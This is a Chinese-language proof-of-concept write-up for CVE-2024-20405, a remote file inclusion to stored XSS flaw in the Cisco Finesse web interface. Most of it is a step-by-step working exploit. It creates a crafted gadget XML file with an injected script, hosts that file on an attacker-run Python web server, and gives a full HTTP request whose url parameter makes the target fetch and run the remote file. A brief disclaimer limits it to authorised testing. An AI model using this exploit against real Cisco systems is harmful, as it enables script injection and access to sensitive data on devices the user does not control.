描述

Cisco Finesse 基于 Web 的管理接口存在一个漏洞，允许未经身份验证的远程攻击者通过利用 RFI 漏洞执行存储型 XSS 攻击。此漏洞是由于对发送到受影响设备的特定 HTTP 请求的用户输入验证不足所致。攻击者可以通过诱使用户点击精心设计的链接来利用此漏洞。成功利用后，攻击者可以在受影响接口的上下文中执行任意脚本代码，或访问受影响设备上的敏感信息。

概念验证 (PoC)

创建一个与原始方案路径相同的完整路径。

mkdir cuicui && mkdir cuicui/gadget && mkdir cuicui/gadget/LiveData

创建一个名为 "LiveDataGadget.xml" 的配置文件，其中包含调用文件时将执行的恶意代码。

nano cuicui/gadget/LiveData/LiveDataGadget.xml

<?xml version="1.0" encoding="UTF-8" ?>

<Module>

<ModulePrefs title="__MSG_default_gadget_title__" height="0" >
    <Require feature="pubsub-2" />
    <Require feature="settitle" />
    <Require feature="setprefs" />
    <Require feature="dynamic-height" />
    <Require feature="views" />
    <Optional feature="content-rewrite">
        <!-- these files will be directly served by cuic, not through shindig -->
        <Param name="exclude-url">cuicui/gadget/report-gadget.min.js</Param>
        <Param name="exclude-url">cuicui/gadget/report-gadget.min.css</Param>
        <Param name="exclude-url">desktop/assets/js/finesse.min.js</Param>
        <Param name="exclude-url">desktop/scripts/js/ccbu-third-party.min.js</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.woff</Param>
      <Param name="exclude-url">desktop/scripts/fonts/CiscoSansTTRegular.woff</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.woff2</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.eot</Param>
    </Optional>
   
</ModulePrefs>

    <UserPref name="scheme" display_name="scheme" default_value=""/>
    <UserPref name="host" display_name="host" default_value=""/>
    <UserPref name="hostPort" display_name="hostPort" default_value=""/>

  <Content type="html" view="default,canvas">
   
    <![CDATA[
    <!DOCTYPE html>
    <head>
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta charset="UTF-8" />
        <script type="text/javascript">
            alert("From RFI To XSS")
        </script>
    </head>

    <body class="claro" >
    <h1>Cisco Finesse v12.6</h1>
    </body>
    ]]>
  </Content>
</Module>

运行本地 Web 服务器以托管恶意配置文件 "LiveDataGadget.xml"。

python3 -m http.server <port>

发送以下请求，从本地 Web 服务器引入恶意配置文件（请替换 <target>、<IP> 和 <port> 为你自己的值）。

GET /gadgets/ifr?container=default&mid=0&nocache=0&country=US&lang=en&view=default&refresh=86400&up_id=6000&up_order=14&up_urlPrefs=%7B%22gadgetHeight%22%3A%22280%22%2C%22viewId%22%3A%2256BC5CCE8C37467EA4D4EFA8371258BC%22%2C%22filterId%22%3A%22agentStateLog.id%3DCL%20teamName%22%2C%22scheme%22%3A%22https%22%2C%22hostname%22%3A%22cuica.<target>%22%2C%22port%22%3A%22844%22%7D&up_country=US&up_language=en&up_locale=en_US&up_host=<target>&up_hostPort=8445&up_extension=<extension>&up_xmppDomain=<target>&up_pubsubDomain=pubsub.<target>&up_restHost=<target>&up_mobileAgentMode=undefined&up_mobileAgentDialNumber=undefined&up_scheme=https&up_localhostFQDN=<target>&up_localhostPort=8082&up_teamId=1&up_teamName=Default&up_systemAuthMode=NON_SSO&up_compatibilityMode=false&up_toasterNotificationTimeout=8&up_navItemRoute=%23%2FmyHistory&up_speechRecognitionHighlights=problem%2C%20solution%2C%20defect%2C%20issue%2C%20summary%2C%20glitch%2C%20resolved%2C%20resolution&up_cceSkillTargetId=5515&up_enableDropParticipantFor=supervisor_only&up_dropParticipant=agents&up_CCDContainer=true&up_externalServerHost=https%3A%2F%2F<target>%3A8445&up_deploymentType=UCCE&up_peripheralId=5000&up_messages=%7B%22select.agent.message%22%3A%22Select%20an%20Agent%20from%20Team%20Performance%20Gadget%22%7D&up_gadgetInfo=undefined&st=john.doe:john.doe:appid:cont:url:0:default&url=http%3A%2F%2F<IP>%3A<port>%2Fcuicui%2Fgadget%2FLiveData%2FLiveDataGadget.xml%3FgadgetHeight%3D280%26viewId%3D56BC5CCE8C37467EA4D4EFA8371258BC%26filterId%3DagentStateLog.id%3DCL%2520teamName HTTP/2
Host: <target>:8445
Cookie: timeBeforeFailover=1695819521188; timeBeforeAttemptingLoginInIframe=1695819523191; attemptsMade=1; seqNumberGenerated=1; finesse_ag_extension=<extension>; activeDeviceId4000=SEPD4AD717A03F6; timeBeforeLoadingOtherSide=1695810942373
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://<target>:8445/desktop/container/?locale=en_US&fromlogout=true
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers

发送请求后，Web 服务器将收到一个 HTTP 请求，以引入远程恶意配置文件。

引入配置文件后，恶意代码被执行。

参考

免责声明

这只是一个概念验证 (PoC)，用于演示 Cisco Finesse 基于 Web 的管理接口存在远程文件包含 (RFI) 漏洞，且该 PoC 仅供教育目的使用。请负责任地使用，并仅在对系统拥有明确测试权限的情况下进行操作。滥用此 PoC 可能导致严重后果。

CVE-2024-20405

最受欢迎